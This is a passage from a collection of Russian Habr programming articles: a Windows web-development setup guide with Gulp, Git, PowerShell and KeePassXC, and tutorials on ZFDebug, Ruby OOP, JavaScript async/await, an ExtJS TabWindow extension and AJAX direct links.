> [*Volta*](https://github.com/volta-cli/volta#installing-volta)*— это новый диспетчер версий, созданный командой LinkedIn. Заявлено, что он отличается увеличенной скоростью и межплатформенной поддержкой.*
>
>
### Структура файлов и каталогов
Для начала давайте ознакомимся с имеющееся структурой каталогов.
Была разработана достаточно продуманная структура файлов и каталогов. Она позволяет удобно взаимодействовать нескольким программам.
*Псевдографическое* дерево структуры
```
├───portfolio
└───projects
├───in-process
│ ├───builds
│ │ └───aigen31.github.io
│ ├───sources
│ └───tasks
└───ready
```
#### Описание каждого из каталогов
/portfolio (опционально) — сохранение превью для портфолио, далее они идут на публикацию на freelance-площадку.
/projects/in-proggress — проекты, находящиеся в процессе разработки или вероятнее всего будут дорабатываться.
/projects/ready — разработанные проекты.
/projects/builds — папка с собранными сборщиком проектами, которые синхронизируются с удалённым хостингом проектов (в моём случаю GitHub).
/projects/sources — проекты с исходным кодом, над которыми происходит работа.
/projects/tasks — задачи автоматизации Powershell.
Gulp для решения рутинных задач
-------------------------------
Визуализация работы Gulp.js### О моей сборке
Для моих проектов и этой статьи была подготовлена сборка Gulp, вдохновлённая сборкой другого разработчика WebDesign Master. Она была доработана под общие нужды и избавлена от некоторого лишнего кода, который уже был неактуальным с новыми версиями некоторых модулей.
Её полный разбор будет в другой статье.
#### Основные функции сборщика
1. Минифицирует CSS, JS и сжимает изображения.
2. Конвертирует шрифты в разные форматы.
3. Встраивает HTML код из одного HTML файла в другой.
#### Запуск проекта
1. Загрузите [проект из Git](https://github.com/aigen31/gulp), распакуйте архив и пройдите до корневого каталога.
2. В корневом каталоге зайдите в контекстное меню (через ПКМ) с зажатым Shift > "Открыть с помощью Powershell".
Контекстное меню1. Введите команду для разрешения исполнения неподписанных скриптов
`set-executionpolicy remotesigned`
2. Установите Gulp глобально (*ключ* -g)
`npm i gulp -g`
3. *Инициализируете* проект, вводя ваши данные
`npm init`
4. Установите зависимости для проекта
`npm i`
5. Запустите проект, используя команду
`gulp`
После этого начнётся запуск задач по умолчанию, в том числе запуск локального сервера BrowserSync, который мониторит изменения HTML/CSS/JS файлов и шрифтов с изображениями.
### Сохранение актуальности Gulp
Чтобы данная сборка оставалась актуальной долгое время, пакеты с модулями нужно своевременно обновлять и при необходимости переписывать опции модулей в gulpfile.js.
Для этого нам нужно глобально установить [пакет npm-check-updates](https://www.npmjs.com/package/npm-check-updates).
> *npm-check-updates обновляет в package.json ваши зависимости, игнорируя указанные версии*
>
>
#### Основные команды
Проверка версий пакетов
`ncu`
Обновление версий в packaje.json
`ncu -u`
После данных команд выполняем установку пакетов
`npm i`
### Работа с Git
> *Git — распределённая система управления версиями. Проект был создан Линусом Торвальдсом для управления разработкой ядра Linux, первая версия выпущена 7 апреля 2005 года. На сегодняшний день его поддерживает Джунио Хамано.*
>
>
Визуализация системы управления версиями. Источник:https://dev.to/lydiahallie/cs-visualized-useful-git-commands-37p1Установка Git рекомендуется всем разработчикам, т. к. приходится работать не только с вашими, начатыми с нуля проектами, но и чужими, где уже имеется готовый код.
Для установки рекомендуются базовые знания английского или переводчик, так вы можете поменять настройки под себя и отключить лишние функции. К примеру я убираю пункт с установкой *Git Bash*.
> *Git Bash — это командная строка, с помощью которой пользователи могут использовать функции Git. Он эмулирует среду bash в Windows и позволяет пользователю использовать большинство стандартных команд Unix.*
>
>
Загружаем и устанавливаем [Git](https://git-scm.com/).
#### Основные команды
Инициализация проекта
`git init`
Добавление файлов в *репозиторий*`git add` или точка "." (для добавления всех файлов)
Создание коммита с комментарием (ключ -m)
`git commit -m "comment"`
Обновить удалённую ссылку со связанными объектами. Проще говоря — синхронизировать ваш локальный Git с удалённым (к примеру GitHub)
`git push -u origin master` (может быть main, если вы поставили данную опцию в Git)
Создание новой ветви и переход к ней (ключ -b)
`git checkout -b`
Переход к другой ветви
`git checkout`
Слияние с веткой (вы должны находиться в ветке, в которую будут включаться изменения)
`git merge`
Это команды, которые помогут вам работать с простыми проектами и манипулировать ветками.
### Автоматизация с Powershell
> *PowerShell — расширяемое средство автоматизации от Microsoft с открытым исходным кодом, состоящее из оболочки с интерфейсом командной строки и сопутствующего языка сценариев.*
>
>
#### Push в Git при мониторинге изменений
Был разработан один из базовых сценариев Powershell, который позволяет избавиться от постоянной монотонной синхронизации с удалённым хостингом Git. Он находится в папке task и мониторит папку /builds/aigen31.github.io
Он работает на основе объекта *FileSystemWatcher*, который мониторит изменения в указанном каталоге и вызывает по порядку команды
```
git status
git add .
git commit -m 'update'
git push -u origin master
```
Считается, что для простых проектов не стоит описывать каждый *коммит*, т. к. вероятнее всего, над его вёрсткой занимаетесь только вы. В ином случае стоит отказаться от данной автоматизации и писать коммиты осмыслено
Вы можете дописывать сценарии автоматизации по своему желанию, их расположение идеально подходит для манипуляции с проектами. Можете написать в комментариях, что хотели бы предложить
#### Репозиторий в Git
Для того, чтобы сохранять ваши работы удалённо, рекомендую использовать [GitHub](https://github.com/) в качестве хоста.
Если репозиторий является веб-страницей, то её можно будет подключить к [GitHub Pages](https://pages.github.com/) и использовать в качестве хостинга статичных сайтов.
### Бесплатная синхронизация с OneDrive
Сервис OneDrive от Microsoft позволяет синхронизировать рабочие папки (рабочий стол, документы, изображения) с облаком. Для сохранности своих данных рекомендуется синхронизировать в крайнем случае рабочий стол и документы, т. к. изображения на практике могут иметь большой вес, а в бесплатном тарифе OneDrive можно хранить лишь 5гб.
Для увеличения объёма хранилища до 1тб. придётся покупать пакет Office 365 (2300 и более руб./год). Это составляет около 200 руб./месяц
#### Другие облачные хранилища
Если сравнить Office 365 с Яндекс 360, то при оплате второго сервиса за месяц цена будет равной. Но при полной оплате за год стоимость будет сильно отличаться — 1399 руб./год В Яндекс.Диске так же имеется возможность синхронизации рабочих папок, но она отсутствует в бесплатном тарифе.
Рекомендую для начала опробовать OneDrive для синхронизации, цена не очень разная.
В облаке для безопасности я советую хранить закодированный файл-ключ менеджера паролей *KeePassXC* (без него мы не сможем войти в базу), о котором будет рассказано в следующем разделе.
### Локальный менеджер паролей KeePassXC
> *KeePassXC - бесплатный менеджер паролей с открытым исходным кодом. Все началось с сообщества KeePassX. Он построен с использованием библиотек Qt5, что делает его мультиплатформенным приложением, которое можно запускать в Linux, Windows и macOS*
>
>
Хранение паролей в KeePassXC и похожих менеджерах имеет ряд плюсов:
1. Можно добавлять пароли из таблицы CSV и любых других мест (игровые аккаунты, различные браузеры и сервисы).
2. Защита с помощью закодированного файла и пароля, который имеется только у вас. Его стоит хранить в нескольких местах, чтобы точно не потерять. Иначе вы утеряете доступ к базе данных.
3. Сортировка по группам.
4. Существуют онлайн менеджеры паролей и зачастую они платные. Этот менеджер хранит всё локально и он бесплатный. От подобных онлайн платформ смысл появляется тогда, когда нужно открыть /общий доступ к паролям, в нашем случае такое не требуется.
### Подключение по FTP и SSH посредством встроенных функций Windows 10
#### FTP
Если вам не нужны все возможности различных FTP-клиентов, то вы можете спокойно подключаться к серверу через проводник с помощью этих действий:
1. Зайдите в контекстное меню
2. Выберете пункт "Добавить новый элемент в сетевое окружение"
3. Следуете инструкциям
#### SSH через OpenSSH от Microsoft
> *OpenSSH — это средство подключения для удаленного входа, использующее протокол SSH*
>
>
Проверьте наличие OpenSSH через *"Параметры" > "Приложения" > "Приложения и возможности" > "Дополнительные компоненты"*. Вероятнее всего, он уже будет установлен, как это было у меня, в ином случае установите клиент через пункт *"Добавить компонент"*.
OpenSSH в "Параметрах"Подключение происходит с помощью следующей команды в *терминале*`ssh username@servername`
Заключение
----------
Мы поверхностно разобрались в среде разработки для работы с HTML/CSS/JS: установили NodeJS и менеджером версий, немного изучили автоматизацию работы с помощью Gulp и Powershell (более подробный разбор будет в другой статье), узнали про применение Git для гибкого изменения проектов и их хранения на удалённом хостинге. После этой статьи некоторые разделы будут разветвляться на другие, более углублённые.
Так же не забыли про безопасность и сохранность данных, которая очень нужна, чтобы был обходной путь при потери или поломки рабочего устройства, либо же кражи или утечки информации.
Надеюсь, это было полезно для вас, спасибо за чтение статьи!
[Мой Github с проектами](https://github.com/aigen31)
Терминология
------------
*Зависимость* — объект, который может быть использован как сервис.
*Инициализация* — создание, активация, подготовка к работе, определение параметров. Приведение программы или устройства в состояние готовности к использованию.
*Ключ* — опция, которая немного изменяет действие команды
*Коммит* — операция, которая отправляет последние изменения исходного кода в репозиторий, делая эти изменения частью основной ревизии репозитория
*Модуль* — это просто файл. Один скрипт – это один модуль
*Нативный* (родной) код — это код, поставляемый разработчиками технологии.
*Пакет* — файл или каталог, который описывается файлом.
*Репозиторий* — место, где хранятся и поддерживаются какие-либо данные.
*Терминал* — программа или устройство, используемая для взаимодействия пользователя с компьютером или компьютерной системой, локальной или удалённой
*Система управления версиями* — программное обеспечение для облегчения работы с изменяющейся информацией.
*Среда выполнения* — вычислительное окружение, необходимое для выполнения компьютерной программы и доступное во время выполнения компьютерной программы.
Источники
---------
[*https://ru.wikipedia.org/wiki/Node.js*](https://ru.wikipedia.org/wiki/Node.js)[*https://docs.microsoft.com/ru-ru/windows/dev-environment/javascript/nodejs-on-windows*](https://docs.microsoft.com/ru-ru/windows/dev-environment/javascript/nodejs-on-windows)[*https://github.com/aigen31/gulp*](https://github.com/aigen31/gulp)[*https://www.npmjs.com/package/npm-check-updates*](https://www.npmjs.com/package/npm-check-updates)[*https://ru.wikipedia.org/wiki/Git*](https://ru.wikipedia.org/wiki/Git)[*https://ru.wikipedia.org/wiki/PowerShell*](https://ru.wikipedia.org/wiki/PowerShell)[*https://en.wikipedia.org/wiki/KeePassXC*](https://en.wikipedia.org/wiki/KeePassXC)[*https://docs.microsoft.com/ru-ru/windows-server/administration/openssh/openssh\_install\_firstuse*](https://docs.microsoft.com/ru-ru/windows-server/administration/openssh/openssh_install_firstuse) | https://habr.com/ru/post/589341/ | null | ru | null |
# ZFDebug
ZFDebug представляет собой плагин для Zend Framework. В нем содержится полезная отладочная информация в небольшой панеле в нижней части каждой страницы. До версии 1.5 назывался Scienta ZF Debug Bar.
Время, память и количество запросов к базе данных видны с первого взгляда. Кроме того, есть информация об обработанных (included) файлах, списке доступных переменных шаблонов (view) и SQL запросы отображаются в отдельной панели (на рисунке база данных сконфигурирована с 2 адаптерами).
#### Существующие плагины
* **Cache**: Информация о Zend\_Cache и АПК.
* **Database**: Полный список SQL запросов и время, для каждого из них.
* **Exception**: Информация о ошибках и исключениях.
* **File**: количество и размер файлов, обработанных PHP.
* **HTML**: Количество внешних стилей и javascripts. Ссылка для подтверждения с W3C.
* **Memory**: Максимальный размер использованной памяти, памяти использованная в контроллере дествий и поддержка пользовательского измерения памати.
* **Registry**: Содержание Zend\_Registry
* **Time**: Время выполнения текужего запроса, время выполнения действия в контроллере и пользовательские таймеры. Кроме того, среднее, минимальное и максимальное время для запросов.
* **Variables**: Список переменных шаблонов, данные о запросе и содержимое $ \_COOKIE и $ \_POST
#### Установка и использование
Разместите каталог ZFDebug в каталоге указанном в include\_path. Затем добавьте следующий метод для загрузки вашего класса (ZF 1.8 +):
> `protected function \_initZFDebug()
>
> {
>
> $autoloader = Zend\_Loader\_Autoloader::getInstance();
>
> $autoloader->registerNamespace('ZFDebug');
>
>
>
> $options = array(
>
> 'plugins' => array('Variables',
>
> 'Database' => array('adapter' => $db),
>
> 'File' => array('basePath' => '/path/to/project'),
>
> 'Memory',
>
> 'Time',
>
> 'Registry',
>
> 'Cache' => array('backend' => $cache->getBackend()),
>
> 'Exception')
>
> );
>
> $debug = new ZFDebug\_Controller\_Plugin\_Debug($options);
>
>
>
> $this->bootstrap('frontController');
>
> $frontController = $this->getResource('frontController');
>
> $frontController->registerPlugin($debug);
>
> }
>
>
>
> \* This source code was highlighted with Source Code Highlighter.`
Подробнее можно узнать на странице проекта: [zfdebug.googlecode.com](http://zfdebug.googlecode.com) | https://habr.com/ru/post/62023/ | null | ru | null |
# Покорим Ruby вместе! Капля десятая
В этой капле мы еще раз углубимся ООП, выясняя новые методики работы с классами, объектами, модулями, которые обязательно пригодятся нам в серьезном программировании.
#### Множественные конструкторы
Что если мы хотим иметь несколько конструкторов для объекта? Ничто не мешает нам создать дополнительные методы класса, которые возвращают новые объекты. В следующем примере мы описываем котов, имеющих пять параметров: вес, высота, и три на окрас. Мы создадим дополнительные методы, которые определят некоторые типы котов “по умолчанию” (например, черный кот или толстый кот):
> `class SuperCat
>
>
>
> def initialize(height, weight, tail_color, head_color, legs_color)
>
> @height, @weight, @tail\_color, @head\_color, @legs\_color = height, weight, tail_color, head_color, legs_color
>
> end
>
>
>
> def SuperCat.white\_cat(height, weight)
>
> new(height, weight, "white", "white", "white")
>
> end
>
>
>
> def SuperCat.black\_cat(height, weight)
>
> new(height, weight, "black", "black", "black")
>
> end
>
>
>
> def SuperCat.big\_cat(tail_color, head_color, legs_color)
>
> new(100, 100, tail_color, head_color, legs_color)
>
> end
>
>
>
> end
>
> a = SuperCat.new(10, 15, "white", "black", "white")
>
> b = SuperCat.black\_cat(13, 20)
>
> c = SuperCat.big\_cat("white", "red", "red")
>
> p(a); p(b); p(c)`
Имеет ли здесь место слово “конструктор”? Мы оставим этот вопрос для юристов :)
#### Развитие конструкторов
Объекты становятся все сложнее, они собирают все больше атрибутов, которые необходимо инициализировать при создании объекта. Отвечающий за это конструктов становится длинным и обременительным, заставляя нас пересчитывать параметры и переносить строки.
Один из способов справиться с этой сложностью – передать **блок** методу `initialize`. Затем мы можем использовать блок для инициализации объекта. Будем использовать метод `instance_eval` вместо `eval:`
> `class HyperCat
>
> attr_accessor :name,
>
> :height, :weight, :age,
>
> :tail\_color, :head\_color, :legs\_color
>
>
>
> def initialize(█)
>
> instance_eval █
>
> end
>
>
>
> # Другие методы...
>
> end
>
>
>
> pussy = HyperCat.new do
>
> self.name = "Pussy"
>
> self.height = 10
>
> self.weight = 12
>
> self.age = 3.2
>
> self.tail\_color = "gray"
>
> self.head\_color = "gray"
>
> self.legs\_color = "white"
>
> end
>
>
>
> p pussy`
Мы используем аксессоры в атрибутах, так легче передавать им значения. Также нам необходимо ссылаться на `self`, потому что метод назначения значения всегда берет явного приемника чтобы создать локальную переменную.
#### Контроль доступа к методам
В Руби объект в основном определяется предоставляемым им интерфейсом, методом, с помощью которого он становится доступным другим. Однако, при написании класса нам часто нужны вспомогательные методы, используемые внутри класса, но опасные, если они доступны извне. Вот где нам поможет метод `private` класса `Module`.
Мы можем использовать `private` двумя способами. Если вызвать private без параметров в теле класса, все методы ниже станут приватными. Или вы можете передать список методов в виде символов в качестве параметров `private`:
> `class Bank
>
> def open\_safe
>
> # ...
>
> end
>
>
>
> def close\_safe
>
> # ...
>
> end
>
>
>
> private :open\_safe, :close\_safe
>
>
>
> def make\_withdrawal(amount)
>
> if access_allowed
>
> open_safe
>
> get_cash(amount)
>
> close_safe
>
> end
>
> end
>
>
>
> # остальное - приватное
>
>
>
> private
>
>
>
> def get\_cash
>
> # ...
>
> end
>
>
>
> def access\_allowed
>
> # ...
>
> end
>
> end`
#### Копирование объектов
Методы `clone` и `dup` создают копии вызывающего элемента. Метод `dup` копирует только содержание объекта, в то время как `clone` берет и такие вещи, как синглтон классы, связанные с объектом:
> `s1 = "cat"
>
>
>
> def s1.upcase
>
> "CaT"
>
> end
>
>
>
> s1_dup = s1.dup
>
> s1_clone = s1.clone
>
> s1 #=> "cat"
>
> s1_dup.upcase #=> "CAT" (синглтон метод не скопировался)
>
> s1_clone.upcase #=> "CaT"`
#### Углубляясь в модули
Перелистнем на одну каплю назад и вспомним, что такое модули и как их применять, в частности, обратим внимание на примеси и пример, приведенный там.
Но что случится при смешивании с нашими методами модуля? Если вы думаете, что будут включены как методы класса, то Руби так не поступает. Для этого можно сделать так:
> `module MyMod
>
>
>
> def meth
>
> puts "Метод экземпляра модуля"
>
> puts "может стать методом класса."
>
> end
>
>
>
> end
>
>
>
> class MyClass
>
>
>
> class << self # Здесь self это MyClass
>
> include MyMod
>
> end
>
>
>
> end`
Здесь нам пригодится метод `extend` – с ним пример становится гораздо проще:
> `class MyClass
>
> extend MyMod
>
> end
>
> MyClass.meth`
#### Создание Struct’ов
Иногда нам нужно просто сгруппировать некоторые данные без дальнейшей обработки. Мы можем создать класс:
> `class ExtraCat
>
>
>
> attr_accessor :name, :age, :weight
>
>
>
> def initialize(name, age, weight)
>
> @name, @age, @weight = name, age, weight
>
> end
>
>
>
> end
>
>
>
> lucky = ExtraCat.new("Lucky", 2, 4)`
Это, конечно, работает, но здесь одни повторения. Вот почему пригодился класс `Struct`. Как `attr_accessor` за нас определяет необходимые методы, так и `Struct` определяет классы, содержащие одни атрибуты. Эти классы называются **структурными шаблонами** (structure templates).
> `ExtraCat = Struct.new("ExtraCat", :name, :age, :weight)
>
> lucky = ExtraCat.new("Lucky", 2, 4)`
#### Эпилог
В общем, набрал я еще тем для изучения, так что рельсы опять идут (прокладываются?) лесом :) Держитесь, новички, но так надо — зато дальше будет легче, обещаю! Да, и, наконец, я соорудил подсветку кода, оказывается, все лишь надо было Windows Live Writer + Visual Studio + VSPaste + HTML Snippet + PowerGREP + регулярные выражения + некоторая работа ручками :( Но теперь могу вас радовать симпатичным кодом, правильной орфографией и больше не боюсь потерять статьи ;) И, конечно, все статьи цикла ждут вас в блоге [Стартап «Программист»](http://habrahabr.ru/blogs/starting_programming/) | https://habr.com/ru/post/49418/ | null | ru | null |
# Async/Await в javascript. Взгляд со стороны
В последнее время все больше моих друзей, коллег и людей из сообщества говорят про работу с асинхронными функциями и в частности про использование async/await на своих проектах. Я решил разобраться для себя, что это за зверь и стоит ли его использоваться при разработке боевых проектов.
*Первое что хочется развеять, это распространенное заблуждение о том, что async/await — это фича ES7.*
По моему мнению, использование терминов ES6 и ES7 само по себе не очень верное и может ввести разработчиков в заблуждение. После удачного релиза спецификации ES2015, называемой ES6, у многих людей сложилось ошибочное мнение, что все в нее не вошло и заполифилено через [babel](http://babeljs.io/) — это фичи ES7. Это не так. Вот [список](http://frontender.info/ecmascript-2016/) того что появится с релизом спецификации ES2016. Как видите он не такой большой и async/await в нем никак не значится.
Я хочу, чтобы мы говорили правильно. И говоря о той, или иной фиче, ссылались на конкретную спецификацию в рамках которой она описана и реализована, а не мифические **ES6, ES7 … ESN**.
Двигаемся дальше. Так что же такое async/await простыми словами?
----------------------------------------------------------------
Говоря общедоступным языком **async/await — это [Promise](https://developer.mozilla.org/ru/docs/Web/JavaScript/Reference/Global_Objects/Promise)**.
Когда вы объявляете функцию как асинхронную, через волшебное слово **async**, вы говорите, что данная функция возвращает Promise. Каждая вещь которую вы ожидаете внутри этой функции, используя волшебное слово **await**, то же возвращает Promise.
*Это очень важный момент для понимания, как такие функции работают и чего ожидать при работе с ними.*
Давайте посмотрим, как же выглядит наш единорог и разберемся как он работает.
-----------------------------------------------------------------------------
Вот простой пример асинхронного [Redux](https://github.com/reactjs/redux) экшена для выхода из кабинета:
```
export function logout(router) {
return async (dispatch) => {
try {
const {data: {success, message}} = await axios.get('/logout');
(success)
? dispatch({ type: LOGOUT_SUCCESS })
: dispatch({ type: LOGOUT_FAILURE, message });
} catch (e) {
dispatch({ type: LOGOUT_FAILURE, e.data.message });
}
};
}
```
А теперь идем от общего к частному
----------------------------------
После прочтения ряда статей и самостоятельно поигравшись, я составил для себя небольшой бриф, отвечающий на основные вопросы, с небольшими примерами.
Что нужно сделать чтобы начать работу?
--------------------------------------
Если не использовать никакой системы сборки, то достаточно установить babel и babel-runtime.
```
babel test.js -o test-compile.js —optional runtime —experimental
```
В остальных случаях, лучше смотреть настройки исходя их системы сборки и версии babel. Это очень важно, так как настройки в версии babel5 и babel6 сильно различаются.
Как создается асинхронная функция?
----------------------------------
```
async function unicorn() {
let rainbow = await getRainbow();
return rainbow.data.colors
}
```
Создание асинхронной функции состоит из двух основных частей:
1. Использования слова async перед объявлением функции.
*Как мы видим из примера c logout(), это так же работает при использовании стрелочных функций. Еще это работает для функций классов и статичных функций. В последнем случае async пишется после static.*
2. В теле самой функции мы должны использовать слово await.
*Использование слова await сигнализирует о том, что бы основной код ждал и не возвращал ответ, пока не выполниться какое-то действие. Оно просто обрабатывает Promise для нас и ждет пока он вернет resolve или reject. Таким образом, создается впечатление, что код выполняется синхронно.*
***\*** Для работы с await функция должна быть асинхронной и объявлена с помощью ключевого слова async. В противном случае это просто не будет работать.*
Как работает await и какую функцию выполняет?
---------------------------------------------
Как говорилось ранее, await ожидает любой Promise. Проводя аналогию с работой объекта Promise, можно сказать, что await выполняет точно такую же функцию что и его метод .then(). Единственная существенная разница в том, что она не требует никаких callback функций для получения и обработки результата. Собственно за счет этого и создается впечатление что код выполняется синхронно.
Хорошо, если await это аналог .then() у Promise, как же мне тогда поймать и обработать исключения?
--------------------------------------------------------------------------------------------------
```
async function unicorn() {
try {
let rainbow = await getRainbow();
return rainbow.data.colors;
} catch(e) {
return {
message: e.data.message,
somaText: ‘Текст о не легкой жизни единорогов’
}
}
}
```
Так как код в синхронном стиле, по этой причине мы можем использовать старый добрый try/catch для решения подобных задач.
Дополнительно хочется акцентировать на этом внимание.
Использование try/catch это единственный способ поймать и обработать ошибку. Если по каким-то причинам вы решите его не использовать или просто забыли, это может привести к отсутствию возможности обработки, а так же потере вовсе.
В какой момент происходит выполнение кода следующего за await?
--------------------------------------------------------------
```
async function unicorn() {
let _colors = [];
let rainbow = await getRainbow();
if(rainbow.data.colors.length) {
_colors = rainbow.colors.map((color) => color.toUpperCase());
}
return _colors;
}
```
Код следующий после await, продолжает свое выполнение только тогда когда функция используемая с await вернет **resolve** или **reject**.
Что если функция используемая с await не возвращает Promise?
------------------------------------------------------------
Если функция используемая с await не возвращает Promise, а мы уже знаем, что await его ожидает, то выполнение кода продолжится так как если бы мы не использовали await вообще.
Что если объявить функцию асинхронной, но не использовать await?
----------------------------------------------------------------
```
async function unicorn() {
let rainbow = getRainbow();
return rainbow;
}
```
В таком случае, на выходе мы получим просто ссылку на Promise функции getRainbow().
Что будет если я напишу несколько функций использующих await подряд?
--------------------------------------------------------------------
```
async function unicorn() {
let rainbow = await getRainbow();
let food = await getFood();
return {rainbow, food}
}
```
Такой код будет выполняться последовательно. Сначала отработает getRainbow(), после того как она вернет resolve или reject начнет работать getFood(). Один вызов, один результат.
А если мне нужно одновременно получить результат от нескольких вызовов?
-----------------------------------------------------------------------
```
async function unicorn() {
let [rainbow, food] = await Promise.all([getRainbow(), getFood()]);
return {rainbow, food}
}
```
Так как мы уже разобрались, что мы имеем дело с Promise. Следовательно можно использовать метод .[all()](https://developer.mozilla.org/ru/docs/Web/JavaScript/Reference/Global_Objects/Promise/all) объекта Promise для решения такого рода задач.
Дополнительно хочу заметить, что конструкция await \* arrayOfPromises больше не актуальна и удалена из спецификации. При попытке ее использовать вы по получите сообщение с любовью о том, что лучше использовать Promise.all().
Пример сообщения:
```
await* has been removed from the async functions proposal. Use Promise.all()
```
*Обновил информацию по конструкции await\*. Спасибо [xGromMx](https://habrahabr.ru/users/xgrommx/) и [degorov](https://habrahabr.ru/users/degorov/).*
Что еще хорошо бы знать для успешной работы?
--------------------------------------------
```
async function getAllUnicorns(names) {
return await Promise.all(names.map(async function(name) {
var unicorn = await getUnicorn(name);
return unicorn;
}));
}
```
Надо помнить, что если ты начинаешь использовать async/await в своем проекте, нужно быть готовым к тому, что почти весь твой стек должен будет быть асинхронным. А это может добавить не мало проблем и неудобств.
**Вроде бы все.**
С основными теоретическими аспектами мы разобрались, если что-то осталось непонятным или у Вас есть что дополнить, жду в комментариях.
А для меня пришло время собрать всю информацию воедино, и решить что же мне делать с нашим асинхронным единорогом. Брать с собой в релизное путешествие или оставить дома для своих Pet проектов.
Выводы:
-------
На первый взгляд асинхронные функции вызывают положительные эмоции. Такая *няшная штучка* делающая твой код синхронно подобным, что делает его более лаконичным и читабельным.
Но это на первый взгляд.
Да, код лаконичен и читабелен. Да, выглядит симпатично. Но как только ты пытаешься писать что-то сложнее чем обычное API или сложные взаимосвязные скрипты, например, очередь задач для работы с базой данных, сразу сталкиваешься с проблемой асинхронного стека.
Почти все вечно зеленые браузеры, из коробки, на 93%-98% поддерживают фичи ES2015 ([таблица](https://kangax.github.io/compat-table/es6/)). Для меня это означает, что начиная новый проект, исходя из требований и стека, я уже задумаюсь об необходимости babel на проекте.
Но, если я решу использовать async/await, я буду обязан использовать babel. И не могу сказать что это добавит красоты в [мой код](https://babeljs.io/repl/#?evaluate=true&presets=es2015%2Cstage-0&experimental=false&loose=false&spec=false&code=async%20function%20unicorn%28%29%20%7B%0A%20%20let%20rainbow%20%3D%20await%20getRainbow%28%29%3B%0A%20%20let%20food%20%3D%20await%20getFood%28%29%3B%0A%0A%20%20return%20%7Brainbow%2C%20food%7D%0A%7D). Ведь официально async/await нет, и не известно будет ли вообще. И это для меня большой минус.
Так же мне очень не нравится тот факт, что если я забыл применить await или просто не удачный копипаст, вместо автоматического вылета на ошибку, я ничего не получу, кроме ссылки на Promise. Это может быть черевато последствиями, особенно когда большой проект с несколькими разработчиками.
И последнее.
Большинство задач с использованием async/await прекрасно решаются с помощью [генераторов](https://learn.javascript.ru/generator).
Во-первых, у них и поддержка лучше.
Во-вторых, работа генераторов будет более естественна и предсказуема.
В-третьих сам babel приводит такой код к генераторам при особых настройках [пример1](https://babeljs.io/repl/#?evaluate=true&presets=stage-0&experimental=false&loose=false&spec=false&code=async%20function%20foo%28%29%20%7B%0A%20%20await%20bar%28%29%3B%0A%7D), [пример2](https://babeljs.io/docs/plugins/transform-async-to-generator/).
Поддержка в NodeJS
------------------
Async/await уже экспериментально попал в V8. Это значит что с версии nodejs 7 можно с ним поиграться и поработать прямо из коробки.
Как это сделать:
```
NVM_NODEJS_ORG_MIRROR=https://nodejs.org/download/nightly
nvm install 7
nvm use 7
node --harmony-async-await app.js
```
Итого
-----
Отвечаю себе на вопрос заданный в самом начале:
Если я и буду использовать асинхронные функции, то только на своих Pet проектах и не очень больших рабочих, в основном для написания API. По крайней мере пока все не стандартизируется и не будет под флагом -экспериментально.
*Например мне понравилось использовать их в экшенах для Redux. Выглядит все красиво и гармонично.*
Этот материал я писал в первую очередь для себя, чтобы разобраться с интересующим меня вопросом. Если данный материал будет еще кому-то полезен, я буду очень рад.
Также, в следующей статье, я бы хотел подробно сравнить разные подходы к реализации асинхронности (колбэки, промисы, генераторы, атомы). Чтобы это было понятно не только гуру, но и людям только начинающим свой путь в javascript.
**Всем спасибо за внимание. Удачи!** | https://habr.com/ru/post/282477/ | null | ru | null |
# TabWindow plugin, окно сворачиваемое/разворачиваемое в TabPanel
#### Ext.Helper.TabWindow
Выкладываю расширение (пока карма позволяет, спасибо плюсанувшим) **Ext.Window** -> **Ext.Helper.TabWindow**, которое вполне себе может сворачиваться в TabPanel ну и соответственно разворачиваться обратно в окно.
**UPD**. *В краце, те кто знаком с компонентом TabPanel (панель реализующая мультивкладки, как любой современный браузер например), знают что в качестве вкладок TabPanel выступает компонент Panel, в свою очередь Window расширяет Panel. Передо мной стояла задача закрепить на TabPanel — Window инстансы, с этой целью и был расширен компонент Window.*
Сразу скажу что не претендую на приз за clear style code, знания по extjs у меня есть, но не такие как хотелось бы, поэтому расширение прежде всего работает, а код… Ну я старался, честно.
Для данного эффекта пришлось расширять как Ext.Window, так и Ext.TabPanel, поэтому в архиве ниже вы найдете еще и класс Ext.ExtendTabPanel
Сначала пытался оформить в качестве плагина, но были свои ограничения, поэтому плюнул и переписал под расширение.
Кода достаточно много, поэтому не знаю даже выкладывать его сюда или нет… Пожалуй весь не буду…
```
Ext.namespace('Ext.Helper');
Ext.Helper.TabWindow = Ext.extend(Ext.Window, {
tabpanel : null, //Ссылка на extendtabpanel Этот параметр обязателен, ибо крепится к чему-то ведь должно,
bindable : false, //true, чтобы вообще была возможность крепить
autobinding : false, //Передается в качестве параметра, если true, то соответсвенно крепится на tabpanel автоматом
isTab : function() {}, //возвращает true - если в TabPanel, иначе false
bind : function() {}, //закрепить на панель
unbind : function() {}, //открепить
});
Ext.reg('tabwindow', Ext.Helper.TabWindow);
```
Пример:
```
new Ext.Helper.TabWindow({
tabpanel : tabpanel,
width : 400,
height : 300,
title : 'bind window ' ,
maximizable : true,
bindable : true
}).show();
```
**UPD:** В [архиве](http://depositfiles.com/files/38gxue87l) полностью рабочий пример, поэтому кому надо и так разберется, спасибо за внимание!
P.S. Если вдруг архива не окажется там где нужно, пишите, восстановлю… | https://habr.com/ru/post/107084/ | null | ru | null |
# Прямые ссылки на AJAX веб-сайтах – наша технология Fullajax Direct Link.
Приветствую всех читателей. Популярность AJAX такая, что это, по сути, уже стандарт де-факто для многих проектов. Хотя, как и все технологии (особенно, новые и/или модные), она часто применяется (чего уж грех таить) и там, где без нее не обойтись, и там, где вполне можно, а зачастую и нужно. Впрочем, сегодня речь пойдет о другом.
Одним из неприятных моментов при использовании AJAX – является отсутствие прямых ссылок на динамически сгенерированные страницы или их отдельные части. Здесь кроется и вообще-то концептуальный вопрос – а что, собственно говоря, является в таком подходе страницей – она не имеет некоторого статического представления, каждый раз совершенно другая (не путать с динамической генерацией на сервере), и, фактически, предоставляет пользователю окно в многомерное представление самой себя.
Но все же – допустим, у нас есть простенький, но претенциозный веб-сайт визитка, где по переходам меню AJAX подгружает и выводит контент, а мы хотим дать знакомому по ICQ ссылку на контактную страницу (или любую другую, не суть важно).
Есть два подхода решения проблемы ссылок.
**Первый** – в каком-то месте страницы указывать текущий нормальный адрес или кнопку получения адреса страницы (такое практикуется на сайтах с видеоконтентом, где выдают прямые ссылки на страницу или плеер). Данный подход не совсем удобен, так как добавление текущей страницы в закладку отличается от стандартного метода и иногда требует от пользователя дополнительных действий, иногда совершенно нетривиальных.
